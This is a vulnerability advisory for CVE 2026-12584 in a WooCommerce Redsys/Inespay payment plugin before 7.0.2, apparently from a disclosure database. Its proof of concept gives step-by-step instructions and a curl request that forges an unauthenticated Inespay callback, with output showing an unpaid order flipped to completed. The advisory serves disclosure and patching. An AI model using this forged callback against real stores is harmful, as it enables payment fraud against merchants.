Payment Gateway for Redsys & WooCommerce Lite < 7.0.2 – Unauthenticated Payment Confirmation via Unverified Inespay Callback | CVE 2026-12584

Description

The plugin does not verify the authenticity of incoming payment-provider notifications for one of its payment methods before marking orders as paid, allowing unauthenticated attackers to forge a payment-confirmation callback and complete their own orders without paying.

Proof of Concept

# Runtime-verified on WordPress 6.7.2 + WooCommerce 9.4.2 + Payment Gateway for Redsys & WooCommerce Lite 7.0.1.

# PRECONDITION: the merchant has the "Inespay" gateway enabled and configured with Inespay API credentials (the plugin's test/sandbox mode is sufficient). This is the normal state when a store offers Inespay.

# 1) As any visitor, place an order selecting the Inespay payment method and proceed to checkout. The plugin calls the Inespay API and stores the returned singlePayinId on your order as the _inespay_single_payin_id meta (class-wc-gateway-inespay-redsys.php:434), then redirects you to the bank. Note your singlePayinId. ABANDON the real payment (do not pay).

# 2) Send the forged notification callback with NO authentication and NO cookies:

curl -s -X POST "https://TARGET/?wc-api=wc_gateway_inespayredsys" \
  -H "Content-Type: application/json" \
  --data '{"singlePayinId":"<your order'\''s singlePayinId>","codStatus":"OK"}'
# -> HTTP 200 {"message":"OK"}

# 3) The order is immediately marked paid and completed, with no payment made.

# The root cause is that handle_callback() performs no signature verification - it can be confirmed directly: an unauthenticated request carrying only singlePayinId + codStatus marks the matching order as paid. In a controlled test, an order in 'pending' status with _inespay_single_payin_id set was flipped to 'completed' by the unauthenticated request above:

#   BEFORE: status=pending
#   unauthenticated POST (no cookies) -> HTTP 200 {"message":"OK"}
#   AFTER : status=completed, _redsys_done=yes, paid_date set
#   Order notes: "Inespay payment completed. ID: <singlePayinId>, Status: OK" / "Order status changed from Pending payment to Completed."